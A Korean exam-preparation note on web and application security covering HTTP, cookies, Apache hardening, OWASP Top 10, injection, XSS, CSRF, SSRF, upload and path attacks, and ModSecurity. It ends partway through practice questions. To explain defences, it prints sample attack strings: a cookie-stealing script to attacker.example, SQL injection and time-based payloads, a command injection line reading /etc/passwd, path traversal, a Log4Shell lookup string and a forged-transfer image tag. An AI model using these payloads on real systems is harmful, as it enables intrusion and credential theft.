페이지 목차
이 페이지에서 검색
EIS
이 페이지에 묻기
EIS · 현재 차시와 목차 본문에서만 찾아 답합니다. 답을 지어내지 않고 해당하는 대목을 그대로 보여 주며, 여기에 없으면 없다고 알려 드립니다.
생성형 AI가 아니라 이 페이지 본문을 찾아 그대로 보여 주는 방식입니다. 외부로 나가는 요청이 없습니다.
EIS · SECURITY
EIS
생성 수정
정보보안기사의 시스템·네트워크·애플리케이션 보안과 암호·관리·실기 내용을 개념의 경계와 실습으로 연결합니다.
29개 문서 · 3 · 어플리케이션보안 · 14 / 29
13 · 웹 · 앱 보안
지도 위치 : 3과목 어플리케이션 보안 · README 4장 ③ 영역(어플리케이션) — 웹 서비스의 공격 ↔ 대응 | 출제기준: 1. 인터넷 응용 보안 > 3. Web/App 보안 | 이전: 12 FTP · 메일 보안 | 다음: 14 DNS · DB 보안 출제 빈도 : ⭐⭐⭐ (회당 약 5.2문항 — 출제분석.md) · 변화 – · ⚠️ 신규 범위 포함 (Time-based SQL Injection, Man-in-the-Browser, Credential Stuffing, Tabnabbing, UDDI) 세세항목 : Web/App 개념 / Web/App 운영 / Web/App 장애 분석 및 대응 / Web/App 공격 유형 / Web/App 보안 기술
이 노트를 다 읽으면
- HTTP 메서드 · 상태코드 · 요청/응답 헤더 를 구별하고, 쿠키 속성 Secure · HttpOnly · SameSite 가 각각 무엇을 막는지 말할 수 있다.
- Apache
httpd.conf에서 디렉터리 리스팅 · 버전 노출 · 업로드 크기 설정을 찾아 점검할 수 있다. - 웹 공격을 "서버를 노리나, 브라우저(사용자)를 노리나" 로 나누고, XSS · CSRF · SSRF 를 한 줄씩 구별할 수 있다.
- SQL Injection을 Error · Union · Blind(Boolean) · Time-based · Mass 로 나누고 대응책이 아닌 것을 고를 수 있다.
- 파일 업로드(웹셸) · 다운로드(경로 조작) 취약점의 대응을 말할 수 있다.
- ⚠️ Credential Stuffing · Tabnabbing · Man-in-the-Browser 를 형제 개념과 구별할 수 있다.
- WAF · ModSecurity 의 동작 모드를 설정 파일에서 읽을 수 있다.
0. 이 노트의 판별 축
| # | 축 | 왼쪽 (0) | 오른쪽 (1) | 이 축으로 갈리는 것 | 큰 축 (README 5장) |
|---|---|---|---|---|---|
| 1 | 누가 피해를 입나 (어디서 실행되나) | 서버 · DB에서 실행 | 사용자 브라우저 에서 실행 | SQLi · 명령 삽입 · SSRF ↔ XSS · CSRF · Tabnabbing | 이 노트의 축 |
| 2 | 악성 입력이 서버에 남는가 | 남지 않음 (요청에 담겨 바로 반사) | 저장됨 (게시판 · DB) | Reflected XSS ↔ Stored XSS | 이 노트의 축 |
| 3 | 결과가 화면에 보이는가 | 보임 (In-band) | 안 보임 (Blind) | Error · Union SQLi ↔ Boolean · Time-based SQLi | 이 노트의 축 |
| 4 | 위조된 요청을 누가 보내나 | 사용자 브라우저가 보냄 | 서버가 보냄 | CSRF ↔ SSRF | ⑥ 인증 ↔ 인가 (남의 권한을 빌림) |
| 5 | 언제 막나 | 코드 · 설정으로 미리 (시큐어 코딩, 하드닝) | 요청을 보고 걸러냄 · 기록 분석 | 입력 검증 · Prepared Statement ↔ WAF · 로그 분석 | ④ 예방 ↔ 탐지 · 대응 |
이 노트가 답하는 질문은 "웹은 왜 가장 많이 뚫리고, 공격 이름이 수십 개인데 어떻게 정리하는가" 입니다. 답은 축 1 하나로 대부분 정리됩니다. 사용자가 보낸 입력이 서버 쪽 해석기 (SQL · 셸 · XML 파서)에서 코드로 실행되면 주입 공격이고, 브라우저 에서 코드로 실행되면 XSS입니다. 앞에서 배운 응용 계층 · 포트(06번 노트), 세션 하이재킹(09번 노트), 방화벽 · IPS(11번 노트), 버퍼 오버플로 · 알려진 취약점(03번 노트)이 이 노트의 배경입니다.
1. HTTP — 웹의 문법
1.1 요청과 응답의 모양
GET /board/view.php?id=7 HTTP/1.1 ← 요청 줄: 메서드 · 경로(쿼리) · 버전
Host: www.example.com
User-Agent: Mozilla/5.0
Cookie: SESSIONID=a8f3c... ← 브라우저 → 서버 (요청 헤더)
← 빈 줄 다음이 본문(GET은 보통 없음)
HTTP/1.1 200 OK ← 상태 줄
Server: Apache
Set-Cookie: SESSIONID=a8f3c...; Secure; HttpOnly; SameSite=Lax ← 서버 → 브라우저 (응답 헤더)
Content-Type: text/html
🔍 읽는 포인트 : Cookie는 요청 헤더, Set-Cookie는 응답 헤더 입니다. HTTP는 기본 TCP 80, HTTPS는 443이며 상태를 기억하지 않는(stateless) 프로토콜이라 쿠키 · 세션이 필요합니다.
1.2 ⭐ HTTP 메서드
| 메서드 | 하는 일 | 보안 관점 |
|---|---|---|
| GET | 자원 조회. 파라미터가 URL(쿼리 문자열)에 노출 | 로그 · 브라우저 기록 · Referer에 남음. 상태 변경에 쓰면 CSRF가 쉬워짐 |
| POST | 본문(body)에 데이터를 담아 전송 | 파라미터가 URL에 안 보일 뿐 암호화는 아님 |
| HEAD | GET과 같되 헤더만 응답 | 정보 수집용 |
| PUT | 지정 경로에 자원 생성 · 덮어쓰기 (파일 업로드) | 열려 있으면 웹셸 업로드 가능 → 비활성화 |
| DELETE | 자원 삭제 | 비활성화 |
| OPTIONS | 허용 메서드 조회 | 정보 노출 |
| TRACE | 받은 요청을 그대로 되돌려 줌(루프백) | XST(Cross-Site Tracing)로 쿠키 노출 가능 → TraceEnable Off |
📝 기출 포인트 — 메서드는 7회 이상. "HTTP/1.1 표준 메서드가 아닌 것", " PUT = 자원 생성 · 파일 업로드 ", "본문으로 파라미터를 보내는 것 = POST", "요청 바디가 없는 메서드(대표적으로 GET · HEAD · TRACE)"가 나왔습니다. POST도 암호화는 아닙니다 — 기밀성은 HTTPS(10번 노트)가 줍니다.
1.3 ⭐ HTTP 상태코드
| 범주 | 뜻 | 꼭 외울 코드 |
|---|---|---|
| 1xx | 정보 (처리 중) | 100 Continue |
| 2xx | 성공 | 200 OK, 201 Created, 204 No Content, 206 Partial Content |
| 3xx | 리다이렉션 | 301 영구 이동, 302 임시 이동(Found), 304 Not Modified(캐시 사용) |
| 4xx | 클라이언트 오류 | 400 Bad Request, 401 Unauthorized(인증 필요) , 403 Forbidden(권한 없음) , 404 Not Found, 405 Method Not Allowed |
| 5xx | 서버 오류 | 500 Internal Server Error, 501 Not Implemented, 502 Bad Gateway, 503 Service Unavailable, 504 Gateway Timeout |
💡 401 ↔ 403은 앞에서 배운 인증 ↔ 인가(17번 노트, 큰 축 ⑥)입니다. 401 = 누군지 모르겠다(로그인하라) , 403 = 누군지는 알지만 안 된다 .
📝 기출 포인트 — 상태코드는 7회(A1.3 2위). 범주 의미, 401/403 구분, 웹 로그에서 코드 해석. 2024년에는 "500번대 오류 대처로 틀린 것 = 쿠키 유효기간 연장" 이 나왔습니다. 500번대는 서버 쪽 (에러 로그, WAS · DB 연결, 자원 고갈)을 봅니다.
1.4 헤더와 프록시
| 요청 헤더 | 응답 헤더 |
|---|---|
| Host, User-Agent, Referer, Cookie , Authorization, Content-Type, X-Forwarded-For (프록시가 붙이는 원래 클라이언트 IP), Via | Server, Set-Cookie , Location(리다이렉트 목적지), WWW-Authenticate, 보안 헤더(Strict-Transport-Security, Content-Security-Policy, X-Frame-Options, X-Content-Type-Options) |
프록시 유형은 헤더로 구별합니다 — 투명 프록시는 Via와 X-Forwarded-For(실제 클라이언트 IP)를 남기고, 익명 프록시는 Via만 남기며, 고익명 프록시는 흔적을 남기지 않습니다.
📝 기출 포인트 — "요청 헤더에 포함되지 않는 것 = Set-Cookie "(2025), "쿠키를 서버로 보낼 때 쓰는 헤더 = Cookie ".
1.5 ⭐ 쿠키 · 세션
쿠키 (Cookie) — [상태 유지 수단]인데, [ 데이터를 클라이언트(브라우저)에 저장 한다]는 점에서 데이터를 서버에 두고 식별자만 주고받는 세션과 구별된다.
| 쿠키 | 세션 | |
|---|---|---|
| 저장 위치 | 클라이언트 (브라우저 메모리 · 디스크) | 서버 |
| 클라이언트가 가진 것 | 값 자체 | 세션 ID (보통 쿠키에 담김) |
| 위조 위험 | 값을 바꿔 권한 상승(예: role=admin) | 세션 ID 탈취 · 예측 |
| 쿠키 속성 | 하는 일 | 막는 것 |
|---|---|---|
| Secure | HTTPS일 때만 전송 | 평문 구간 스니핑 |
| HttpOnly | JavaScript(document.cookie)로 읽기 금지 | XSS로 쿠키 탈취 |
| SameSite (Strict / Lax / None) | 다른 사이트에서 시작된 요청 에 쿠키를 붙일지 결정 | CSRF (None은 Secure 필수) |
세션 관리 원칙 : 세션 ID는 추측 불가능한 난수 로, 로그인 성공 후 새로 발급 (세션 고정 공격 방지), 일정 시간 미사용 시 만료, 로그아웃 시 서버에서 파기, URL에 세션 ID 노출 금지 . 중요 정보를 쿠키 값에 직접 두지 말고 서버 세션 에 둡니다.
📝 기출 포인트 — "쿠키 · 세션 위조 → 서버 측 세션 저장 · 중요 기능 2차 인증 으로 대응"(2회), 쿠키 저장 위치 · 구조(2022, 2023). HttpOnly ↔ Secure를 바꿔 놓은 보기가 함정입니다.
1.6 웹 기술 주변 용어
| 용어 | 정의 |
|---|---|
| 서버 측 스크립트 | 서버에서 실행돼 HTML을 만들어 보냄: PHP, JSP, ASP(.NET) . JavaScript · HTML은 브라우저에서 해석되므로 "서버 측이 아닌 것" |
| SOAP | XML 기반 웹서비스 메시지 형식 |
| WSDL | 웹서비스가 무엇을 어떻게 호출받는지 기술 하는 XML 문서 |
| UDDI ⚠️ | 웹서비스 정보를 등록 · 검색하는 저장소(전화번호부) |
| robots.txt | 웹 루트에 두는 검색 크롤러 수집 규칙 (User-agent, Disallow, Allow). 강제력 없음 — 오히려 숨기고 싶은 경로를 공격자에게 알려 줄 수 있음 |
📝 기출 포인트 — UDDI · WSDL · SOAP 관계 가 2024 · 2025에 반복(강사 "처음 등장" 언급). "XML 웹서비스 기술이 아닌 것 = OCSP "(인증서 상태 확인, 18번 노트). robots.txt는 3회.
2. 웹서버 · WAS 운영과 장애 대응
2.1 ⭐ Apache 하드닝 — httpd.conf
ServerTokens Prod # Server 헤더에 "Apache"만 (버전 · OS 숨김)
ServerSignature Off # 오류 페이지 하단 서버 정보 숨김
TraceEnable Off # TRACE 메서드 차단
User apache # 웹 프로세스를 비특권 계정으로
Group apache
DocumentRoot "/var/www/html" # 웹 문서 기본 디렉터리
<Directory "/var/www/html">
Options -Indexes -FollowSymLinks # 디렉터리 리스팅 · 심볼릭 링크 따라가기 금지
AllowOverride None
</Directory>
LimitRequestBody 5242880 # 요청 본문(업로드) 최대 5MB
ErrorDocument 500 /error.html # 상세 오류 대신 공통 오류 페이지
🔍 읽는 포인트 : Options Indexes가 있으면 디렉터리 리스팅 (index 파일이 없을 때 파일 목록 표시)이 켜집니다. -Indexes 또는 Options None으로 끕니다.
| 점검 항목 | Apache | IIS | Tomcat |
|---|---|---|---|
| 디렉터리 리스팅 | Options -Indexes | "디렉터리 검색" 사용 안 함 | web.xml의 listings false |
| 업로드 크기 제한 | LimitRequestBody | maxAllowedContentLength (요청 필터링) | maxPostSize (server.xml) |
| 버전 노출 | ServerTokens, ServerSignature | 응답 헤더 제거 | 기본 오류 페이지 교체 |
| 웹 프로세스 권한 | User/Group 비특권 계정 | 응용 프로그램 풀 ID | 전용 계정 실행 |
📝 기출 포인트 — 디렉터리 인덱싱(리스팅) 은 2023 · 2024 · 2025 연속(
Options Indexes). DocumentRoot (2025), IIS · Apache · Tomcat 업로드 크기 제한 지시어 (2024), Apache 주요 파일의 소유자 · 권한(root 소유), 관리자 페이지 노출 점검(추측 가능한/admin경로, IP 제한)도 나왔습니다.
2.2 웹 로그와 장애 분석
203.0.113.7 - - [19/Oct/2026:10:22:01 +0900] "GET /board/view.php?id=1%27%20UNION%20SELECT%20id,pw%20FROM%20member--%20 HTTP/1.1" 200 5123 "-" "sqlmap/1.7"
🔍 읽는 포인트 : %27은 작은따옴표('), %20은 공백 → URL 디코딩하면 UNION SQL Injection . User-Agent sqlmap은 자동화 도구. 상태코드 200은 "요청이 처리됐다"는 뜻일 뿐 공격 실패 여부와 무관 합니다.
| 웹 로그 분석 상식 | |
|---|---|
| access_log | 요청 줄 · 상태코드 · 크기 · Referer · User-Agent. POST 본문은 기록되지 않음 → POST 공격은 access_log만으로 안 보임 |
| error_log | 500번대 원인, 스크립트 오류 |
| Apache LogLevel (심각한 순) | emerg > alert > crit > error > warn > notice > info > debug |
| 500번대 장애 대응 | error_log · WAS 로그 확인 → DB 연결 · 자원(메모리 · 스레드) 점검 → 사용자에게는 공통 오류 페이지 (상세 스택 노출 금지) |
3. OWASP Top 10 — 위험 목록의 변천
OWASP — [웹 보안 비영리 단체]이며, 몇 년마다 웹 애플리케이션 10대 위험(Top 10) 을 발표합니다.
| 순위 | 2013 | 2017 | 2021 | 2025 (최신) |
|---|---|---|---|---|
| 1 | Injection | Injection | Broken Access Control | Broken Access Control (SSRF 통합) |
| 2 | 인증 · 세션 관리 취약 | 인증 취약 | Cryptographic Failures | Security Misconfiguration |
| 3 | XSS | 민감 데이터 노출 | Injection (XSS 통합) | Software Supply Chain Failures (신규) |
| 4 | 안전하지 않은 직접 객체 참조 | XXE (신규) | Insecure Design (신규) | Cryptographic Failures |
| 5 | 보안 설정 오류 | 접근통제 취약 | Security Misconfiguration (XXE 통합) | Injection |
| 6 | 민감 데이터 노출 | 보안 설정 오류 | 취약하고 오래된 구성요소 | Insecure Design |
| 7 | 기능 수준 접근통제 누락 | XSS | 식별 · 인증 실패 | Authentication Failures |
| 8 | CSRF | 안전하지 않은 역직렬화 (신규) | 소프트웨어 · 데이터 무결성 실패 (신규) | Software or Data Integrity Failures |
| 9 | 알려진 취약 구성요소 | 알려진 취약 구성요소 | 로깅 · 모니터링 실패 | Security Logging and Alerting Failures |
| 10 | 검증되지 않은 리다이렉트 | 불충분한 로깅 · 모니터링 (신규) | SSRF (신규) | Mishandling of Exceptional Conditions (신규) |
(2025판 이름은 OWASP 공식 사이트 top10.owasp.org 기준. 2025판에서 SSRF는 A01에 매핑됨.)
📝 기출 포인트 — "OWASP 2017에 새로 추가된 것 = XXE "(2018), "2013 항목 판별", "OWASP Top 10의 1위였던 Injection ". 문제은행이 오래돼 2013 · 2017판 기준 문항 이 남아 있을 수 있으니 판별 축은 "어느 판의 몇 위"보다 "새로 들어온 것 · 합쳐진 것" 으로 기억하세요.
4. 서버를 노리는 공격 — 주입 계열
주입 (Injection) — [입력값 검증 실패 공격]인데, [ 사용자 입력이 서버 쪽 해석기(SQL · OS 셸 · XML 파서 · 코드 실행기)에서 명령의 일부로 해석된다 ]는 점에서 브라우저에서 실행되는 XSS와 구별된다(0절 축 1).
4.1 ⭐ SQL Injection
-- 로그인 쿼리: SELECT * FROM member WHERE id='[입력]' AND pw='[입력]'
-- id에 입력: admin' --
SELECT * FROM member WHERE id='admin' -- ' AND pw='아무거나'
🔍 읽는 포인트 : '로 문자열을 닫고 --로 뒤의 비밀번호 조건을 주석 처리 합니다. 주석 기호는 DBMS마다 다릅니다 — MySQL/MariaDB # 또는 -- (공백 필요) , Oracle · MS SQL -- , 공통으로 /* */.
| 유형 | 결과를 어떻게 얻나 (축 3) | 예 |
|---|---|---|
| Error-based | DB 오류 메시지 에 정보가 드러남 | 형 변환 오류로 테이블명 노출 |
| Union-based | UNION SELECT로 다른 테이블 결과를 원래 결과에 붙여 화면에 출력. 컬럼 수 · 타입이 같아야 함 | ' UNION SELECT id, pw FROM member-- |
| Blind (Boolean) | 화면엔 데이터가 안 나오고 참/거짓에 따른 페이지 차이 로 한 글자씩 추론 | ' AND SUBSTRING(pw,1,1)='a'-- |
| Time-based ⚠️ | 참/거짓 차이조차 없을 때 응답 지연 시간 으로 추론 | MySQL SLEEP(5), MS SQL WAITFOR DELAY '0:0:5' |
| Stored Procedure | 위험한 확장 프로시저 호출 | MS SQL xp_cmdshell (14번 노트) |
| Mass SQL Injection | 한 번의 공격으로 DB의 많은 레코드에 악성 스크립트(악성 URL)를 삽입 → 방문자 감염 | 대량 DB 변조 |
| ⭕ 대응책 | ❌ 대응책이 아닌 것 (함정 보기) |
|---|---|
| Prepared Statement (바인드 변수 · 매개변수화 쿼리) — 입력을 데이터로만 취급 | 클라이언트(JavaScript) 검증 만 하기 — 우회 가능 |
서버 측 입력값 검증 ( 화이트리스트 ), 특수문자(' " ; -- #) 필터 | DB 오류 메시지를 상세히 보여 주기 |
| DB 계정 최소 권한 (웹 계정에 DBA 권한 금지) | GET을 POST로 바꾸기 — 공격 위치만 바뀜 |
| 오류 메시지 숨김(공통 오류 페이지), WAF | 동적 쿼리를 문자열 연결로 만들기 |
📝 기출 포인트 — SQLi는 A1.3에서 XSS 다음으로 많습니다(대응 5회 + 개념 5회 + 유형). "대응책이 아닌 것" 유형, 웹 로그의 인코딩된 파라미터로 SQLi 추정, DBMS별 주석 기호 (2024), Mass · Union · Blind · Time-based 구분 (2025). Time-based는 2025년 "처음 등장"으로 언급된 ⚠️ 신규 범위입니다.
4.2 다른 주입 공격
| 공격 | 해석기 | 예 · 대응 |
|---|---|---|
| OS 명령 삽입 | OS 셸 | ping 8.8.8.8; cat /etc/passwd — ; ` |
| 코드 삽입 | 서버 언어의 eval() 등 | 입력을 코드로 평가하지 않기 |
| XPath · XQuery · LDAP 삽입 | XML 질의 · 디렉터리 질의 | 특수문자 이스케이프, 매개변수화 |
| XXE (XML External Entity) | XML 파서 | 외부 엔티티로 서버 파일 읽기 · 내부 요청 → 외부 엔티티 · DTD 처리 비활성화 |
| Log4j (Log4Shell) | 로깅 라이브러리의 JNDI 조회 | ${jndi:ldap://공격자/a} 문자열이 로그에 기록되기만 해도 원격 코드 실행 → 패치(업그레이드), JNDI 조회 기능 제거 |
| HTTP Request Smuggling | 앞단(프록시)과 뒷단 서버의 요청 경계 해석 차이 (Content-Length ↔ Transfer-Encoding) | 해석 방식 통일, 모호한 요청 거부 |
📝 기출 포인트 — 명령어 삽입과 Blind SQLi 구분(2024), 웹셸 ↔ 코드 인젝션 ↔ 명령어 삽입 구분(2024), Log4j = JNDI (2024 · 2025 · DB 노트에서도 1회), XPath ↔ SSRF 구분(2025). 앞에서 배운 Heartbleed · Shellshock(03번 노트)과 함께 "알려진 취약점 구분" 보기로 섞여 나옵니다.
4.3 SSRF — 서버가 대신 요청하게 만들기
SSRF (Server-Side Request Forgery) — [요청 위조 공격]인데, [ 서버가 공격자가 지정한 주소로 요청을 보내게 만든다 ]는 점에서 사용자 브라우저가 요청을 보내게 만드는 CSRF와 구별된다(0절 축 4). 서버는 내부망 · 클라우드 메타데이터 주소에 접근할 수 있으므로, 외부에서 못 닿는 곳을 서버를 통해 엿봅니다. 대응은 요청 대상 화이트리스트, 내부 IP 대역 차단, 리다이렉트 추적 제한 입니다.
5. 브라우저 · 사용자를 노리는 공격
5.1 ⭐ XSS — 이 노트의 최다 출제 개념
XSS (Cross-Site Scripting) — [입력값 검증 실패 공격]인데, [ 공격자의 스크립트가 피해자의 브라우저에서 그 사이트의 권한으로 실행된다 ]는 점에서 서버의 DB 해석기에서 실행되는 SQL Injection과 구별된다.
| 유형 | 스크립트가 어디 있나 (축 2) | 전형적 경로 |
|---|---|---|
| Stored (저장형) | 서버(게시판 · DB)에 저장 | 게시글에 <script> 삽입 → 글을 연 모든 사용자 피해 |
| Reflected (반사형) | 서버에 남지 않음, 요청 파라미터가 응답에 그대로 반사 | 악성 링크(search?q=<script>...)를 클릭한 사용자 피해 |
| DOM 기반 | 서버를 거치지 않고 브라우저의 JavaScript가 DOM을 조작 하다 실행 | location.hash 값을 innerHTML에 넣는 코드 |
<script>new Image().src="http://attacker.example/c?="+document.cookie;</script>
🔍 읽는 포인트 : 전형적 목적은 쿠키(세션 ID) 탈취 → 세션 하이재킹(09번 노트). 그래서 HttpOnly 가 피해를 줄입니다.
대응 : 출력 시 HTML 엔티티 인코딩 (< → <, > → >, " → "), 입력값 검증(화이트리스트), HTML 허용 게시판은 허용 태그만 남기는 필터, 쿠키 HttpOnly , CSP (Content-Security-Policy).
📝 기출 포인트 — XSS는 A1.3 최다(12회). " 게시판에 스크립트를 심어 클라이언트를 공격 ", " 특수문자 치환 으로 막는 공격", Stored ↔ Reflected 특성 (2023), "XSS는 브라우저를 공격 한다 — CSRF · SSRF · SQLi와 구분"(2024)이 반복됩니다.
5.2 ⭐ CSRF
CSRF (Cross-Site Request Forgery) — [요청 위조 공격]인데, [ 로그인된 사용자의 브라우저가 사용자 모르게 공격자가 만든 요청을 정상 사이트로 보내게 해 그 사용자의 권한으로 실행시킨다 ]는 점에서 사용자 브라우저에서 공격자 스크립트를 실행시키는 XSS와 구별된다.
<!-- 공격자가 게시판 · 메일에 심은 이미지 태그 -->
<img src="https://bank.example/transfer?to=attacker&amount=1000000" width="0" height="0">
🔍 읽는 포인트 : 브라우저는 bank.example에 요청을 보낼 때 그 사이트의 쿠키를 자동으로 붙입니다. 서버는 정상 사용자의 요청으로 믿습니다. GET으로 상태를 바꾸는 설계가 이 공격을 쉽게 만듭니다.
| XSS | CSRF | SSRF | |
|---|---|---|---|
| 실행되는 곳 | 피해자 브라우저 | 정상 서버 (피해자 권한으로) | 서버 가 제3 목적지로 요청 |
| 공격자가 노리는 것 | 쿠키 탈취, 화면 변조 | 송금 · 비밀번호 변경 같은 상태 변경 | 내부망 · 메타데이터 접근 |
| 신뢰를 악용하는 방향 | 사용자가 사이트 를 믿음 | 사이트가 사용자 브라우저 를 믿음 | 내부망이 서버 를 믿음 |
| 핵심 대응 | 출력 인코딩, HttpOnly, CSP | CSRF 토큰 , 재인증 · CAPTCHA, SameSite, Referer/Origin 검증 | 목적지 화이트리스트 |
📝 기출 포인트 — CSRF 5회 + 대응 2회: " 로그인한 사용자의 권한으로 원치 않는 요청을 실행 ", 대응은 " POST 사용 · 예측 불가 토큰 · 중요 기능 재인증 · CAPTCHA "(2016, 2024). CSRF와 XSS의 차이 를 직접 묻는 문항(2019)도 있습니다.
5.3 ⚠️ 계정 · 탭 · 브라우저를 노리는 신규 공격
| 공격 | 정의 (유 + 종차) | 형제와의 경계 | 대응 |
|---|---|---|---|
| Credential Stuffing | [계정 탈취 공격]인데, [ 다른 곳에서 유출된 아이디 · 비밀번호 쌍을 그대로 다른 사이트에 자동 대입 ]한다 | 무차별 대입은 비밀번호를 생성 해 시도, 패스워드 스프레잉은 흔한 비밀번호 하나를 여러 계정 에 | MFA, 로그인 시도 제한, 이상 로그인 탐지, CAPTCHA, 비밀번호 재사용 금지 교육 |
| Tabnabbing | [피싱 기법]인데, [ 사용자가 보지 않는 브라우저 탭의 내용을 가짜 로그인 화면으로 바꿔 놓는다 ] | Reverse Tabnabbing : target="_blank"로 열린 새 페이지가 window.opener로 원래 탭 을 피싱 페이지로 바꿈 | 링크에 rel="noopener noreferrer", 주소창 확인 |
| Man-in-the-Browser (MitB) | [중간자 공격]인데, [ 브라우저 내부(악성 확장 · 트로이목마)에서 거래 내용을 가로채 변조 한다] | MITM(09번 노트)은 네트워크 경로 중간. MitB는 암호화 전 브라우저 안 이라 TLS로 못 막음 | 거래연동 OTP (거래 내용에 서명), 별도 채널 확인, 백신 · 확장 관리 |
| URL 스푸핑 (호모그래프) | [위장 기법]인데, [ 모양이 비슷한 문자(키릴 문자 등)로 정상 주소처럼 보이는 도메인 을 쓴다] | 파밍은 DNS를 변조 (14번 노트), 호모그래프는 주소 자체가 다름 | 퓨니코드 표시, 주소 확인 |
| Drive-by Download | [악성코드 유포 기법]인데, [ 사이트 방문만으로 브라우저 취약점을 통해 악성코드가 설치된다] | 사용자가 직접 실행하는 트로이목마와 구별 | 브라우저 · 플러그인 패치 |
📝 기출 포인트 — Credential Stuffing (2019), Tabnabbing (2023), MitB (2024 "처음 등장"), URL 스푸핑(2024)이 모두 최근 문제은행에 추가된 ⚠️ 신규 범위입니다. 문항은 "설명에 맞는 공격 고르기" 형태라 표의 경계 열 만 확실하면 풀립니다.
6. 파일 · 경로를 노리는 공격
6.1 ⭐ 파일 업로드 → 웹셸
웹셸 (Web Shell) — [악성 스크립트 파일]인데, [ 업로드 기능으로 서버에 올린 뒤 웹 브라우저로 호출해 서버에서 시스템 명령을 실행 한다]는 점에서 요청 파라미터에 명령을 섞는 OS 명령 삽입과 구별된다.
| ⭕ 대응 | ❌ 틀린 대응 · 우회 |
|---|---|
| 확장자 화이트리스트 (jpg, png 등만 허용) | 블랙리스트만(.php 차단) → .php5, .phtml, 대소문자로 우회 |
| 업로드 디렉터리를 웹 루트 밖 에 두거나 실행 권한 제거 | 업로드 폴더에서 스크립트 실행 허용 |
| 저장 파일명을 추측할 수 없는 난수 로 변경 | 파일명을 순차 번호 로 부여 → 경로 추측 가능 |
| 크기 제한, MIME · 파일 시그니처(내용) 검사 | Content-Type 헤더만 믿기 (조작 가능) |
| 확장자 판정 전에 널 바이트 · 이중 확장자 제거 | shell.php%00.jpg, shell.php.jpg 우회 허용 |
6.2 파일 다운로드 · 디렉터리 트래버설
GET /download.jsp?file=../../../../etc/passwd
🔍 읽는 포인트 : ../로 웹 루트(DocumentRoot) 밖 으로 올라갑니다. 인코딩(%2e%2e%2f)으로도 들어옵니다.
대응 : 파일 경로를 입력으로 받지 말고 ID ↔ 파일 매핑 , ../ · ..\ 필터 및 경로 정규화 후 허용 디렉터리 안인지 검사 , 웹 프로세스 권한 최소화.
| 형제 | 차이 |
|---|---|
| LFI (Local File Inclusion) | 서버 안의 파일을 include로 끌어와 실행 · 노출 |
| RFI (Remote File Inclusion) | 외부 URL 의 스크립트를 include → PHP는 allow_url_fopen = Off, allow_url_include = Off |
📝 기출 포인트 — 파일 업로드 · 웹셸은 6회 이상: " 파일명 순차 부여는 틀린 대응 ", 널바이트 우회(2024), 저장 경로를 웹 루트 밖으로. 다운로드 경로 조작(2014), RFI →
allow_url_fopen(2018). 개발 관점의 "경로 조작 및 자원 삽입"은 16번 노트에서 다시 봅니다.
7. 웹 보안 솔루션 — WAF와 ModSecurity
WAF (Web Application Firewall) — [네트워크 보안 솔루션]인데, [ HTTP 요청 · 응답의 내용(파라미터 · 헤더 · 본문)을 웹 공격 관점으로 검사 한다]는 점에서 IP · 포트만 보는 방화벽, 여러 프로토콜의 시그니처를 보는 범용 IPS(11번 노트)와 구별된다.
ModSecurity — [오픈소스 WAF]인데, [ Apache(이후 Nginx · IIS 지원) 웹서버에 모듈로 붙는다 ]는 점에서 별도 장비형 WAF와 구별된다. 규칙 집합으로 OWASP CRS(Core Rule Set)를 많이 씁니다. WebKnight 는 IIS용 공개 WAF입니다.
SecRuleEngine On # On | Off | DetectionOnly (탐지 · 기록만, 차단 안 함)
SecRequestBodyAccess On # POST 본문까지 검사
SecAuditEngine RelevantOnly # On | Off | RelevantOnly (경고 · 오류 난 트랜잭션만 감사 로그)
SecRule ARGS "@rx (?i)union\s+select" "id:1001,phase:2,deny,status:403,log,msg:'SQLi'"
🔍 읽는 포인트 : SecRuleEngine = 차단 엔진 , SecAuditEngine = 감사 로그 엔진 입니다. 처음 도입할 때는 DetectionOnly로 오탐을 확인한 뒤 On으로 바꿉니다. SecRequestBodyAccess On이 있어야 access_log에 안 남는 POST 공격 도 봅니다.
CAPTCHA — [사용자 확인 기술]인데, [ 사람은 풀고 자동화 프로그램은 풀기 어려운 문제로 사람과 컴퓨터를 구분 한다]는 점에서 신원을 확인하는 인증과 구별된다. 자동 가입 · 크리덴셜 스터핑 · CSRF(중요 기능 확인)에 씁니다.
📝 기출 포인트 — ModSecurity 4회: "아파치 웹방화벽 모듈", 기능 범위, 감사엔진 설정값 (2023). WebKnight(IIS), CAPTCHA 목적(2024 · 2025)도 나왔습니다.
💡 비유는 마지막에 — 방화벽은 건물 출입문의 명단 확인 , WAF는 창구 직원이 서류 내용을 읽어 보는 것 입니다.
8. 실기 연결
관련 수행준거 : 1-3 웹 서비스 동작절차와 환경 설정, 2-2-5 WEB/WAS 서버 설정이 다양한 공격 유형에 대비해 적절한지 점검 , 2-3-6 WAF 보안 설정 점검 , 3-1 서비스별(WWW) 로그 모니터링, 3-2 로그 분석 및 대응.
| 예상 질문 | 답안 핵심어 |
|---|---|
| 디렉터리 리스팅 취약점과 조치 | Options Indexes 제거(-Indexes), 파일 목록 · 백업 파일 노출 |
| SQL Injection 원리와 대응 3가지 | 입력이 쿼리로 해석, Prepared Statement(바인드 변수) , 서버 측 입력 검증, 최소 권한 · 오류 메시지 숨김 |
| XSS와 CSRF의 차이 | XSS = 브라우저에서 스크립트 실행 , CSRF = 사용자 권한으로 위조 요청 , 대응(인코딩 · HttpOnly ↔ 토큰 · 재인증) |
| 업로드 취약점 대응 | 확장자 화이트리스트, 실행 권한 제거 · 웹 루트 밖 저장, 난수 파일명, 크기 제한 |
| 웹 로그에서 공격 판정 | URL 디코딩(%27='), UNION · SLEEP · <script> · ../ 패턴, User-Agent(sqlmap 등) |
| ModSecurity 설정 해석 | SecRuleEngine(On/Off/DetectionOnly), SecAuditEngine(RelevantOnly) |
점검표 예시 (Apache)
| 항목 | 확인 | 양호 |
|---|---|---|
| 디렉터리 리스팅 | grep -n "Options" httpd.conf | Indexes 없음 |
| 버전 노출 | ServerTokens, ServerSignature | Prod / Off |
| 웹 프로세스 계정 | User, Group | root 아님 |
| 업로드 제한 | LimitRequestBody | 업무에 맞는 값 |
9. 확인 문제
1. HTTP 응답 코드에 대한 설명으로 틀린 것은? ① 302는 임시 리다이렉션이다 ② 401은 인증이 필요함을 뜻한다 ③ 403은 서버 내부 오류를 뜻한다 ④ 503은 서비스를 일시적으로 사용할 수 없음을 뜻한다
2. 쿠키 속성 중 XSS로 인한 세션 쿠키 탈취를 줄이기 위한 것은? ① Secure ② HttpOnly ③ Domain ④ Expires
3. Apache에서 index 파일이 없는 디렉터리의 파일 목록이 노출되는 원인이 되는 설정은?
